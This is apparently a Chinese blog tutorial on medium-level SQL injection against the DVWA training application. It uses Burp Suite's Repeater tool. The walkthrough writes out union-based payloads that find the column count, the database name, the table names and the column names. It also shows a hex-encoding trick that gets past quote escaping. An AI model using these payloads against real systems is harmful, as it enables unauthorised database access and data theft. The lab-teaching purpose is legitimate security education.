sql 数组_sql注入中级

POST注入借助Burpsuite工具

将DVWA Security调到Medium

2bb24510c150cdbbb84d862e7e0110bf.png

1,查询User ID为3,点击Submit,先分析一下php源代码

329d532eeab7e046bbf7994fa83e95ed.png

a5abe0439c70f1709f5cb41f3bea5954.png

首先我们可知这是POST型,先检查一下User Id 是否为空,如果为空执行下列操作,先赋值id,然后转义在 SQL 语句中使用的字符串中的特殊字符。之后在数据库中查询数据,将结果输出给result,从结果集中取得一行关联数组赋值到row,依次输出first name,sunname。最后关闭函数。因为稍后再index.php page使用,所以我们可以在此处进行设置,以便我们可以像在其余源脚本中一样在此处关闭数据库连接

2.函数分析

(1)mysqli_fetch_row():从结果集中取得一行,并作为枚举数组返回。

ada7f3efef7746355c6840318a0711e8.png

(2)mysqli_real_escape_string():转义在 SQL 语句中使用的字符串中的特殊字符。

其余函数在初级文档说明,在此篇不做重复阐述

157109587e041031289dc06e8350f01f.png

3.进行实际操作

在bp软件中,当USER ID=3时,出现如下界面,为了方便,我们把他转到Repeater下,点击Action,然后Send to Repeater

3e0528625e58ffbfbf04820e9a06c013.png4fd4744e623530871e67dc0c91f9e3af.png

在箭头指向部分将id=3改为id=3’,然后点击Go

在id=3’时会出现如下错误,这是因为有转义字符\,单引号失效,需要进行绕过,后续会讲怎样绕过。

9dd76a32754f3185fda7b35d1d7c2cdd.png5a2731f37db6c2bb8ad1d188aa5234e6.png

sql语句查询列数,在箭头那输入id=3 order by 2后点击Go,出现右面的结果

d67270b26b60d53b259707c18848fb13.png02f047154c1c2d7cb8efebf3c8cee803.png9f6c6cf5319cbbf3daf9aadede4a0d0c.png

sql语句查询位置输入id=3 union select 1,2#

9afdc54ec86b04ff94d5de1dbf186ece.png

sql语句查询数据库名3 union select database(),2#

f93c3538e82d334afd3aca678c4494d6.png54092e339f889146ea8bf5d9b7a2e3f8.png

sql语句查询数据表名3 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#

b0256e3a1ed152f89f8967977c7da288.png

查询user表中列名

(对方使用转义字符屏蔽’ , “等特殊字符,使用绕过方法,可以使用users对应的ascii码进行绕过)id=3 union select group_concat(column_name),2 from information_schema.columns where table_name =’users’#

如何找users的ASCII,在Decoder中的Encode as 下找到ASCII hex就可出下面的

576f989e9f926daaa3bba84b51fae293.pngcf9ff077df68b767927c84286a84e507.png

id=3 union select group_concat(column_name),2 from information_schema.columns where table_name =0x7573657273#

018f856c511173e84a003726e76314cc.png

获取数据

6fc2f7c90228722c298b922dd658a23f.png

本文介绍的是中级SQL注入,将持续更新SQL注入高级以及盲注,欢迎大家点赞和收藏,您的支持是我创作的最大动力!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值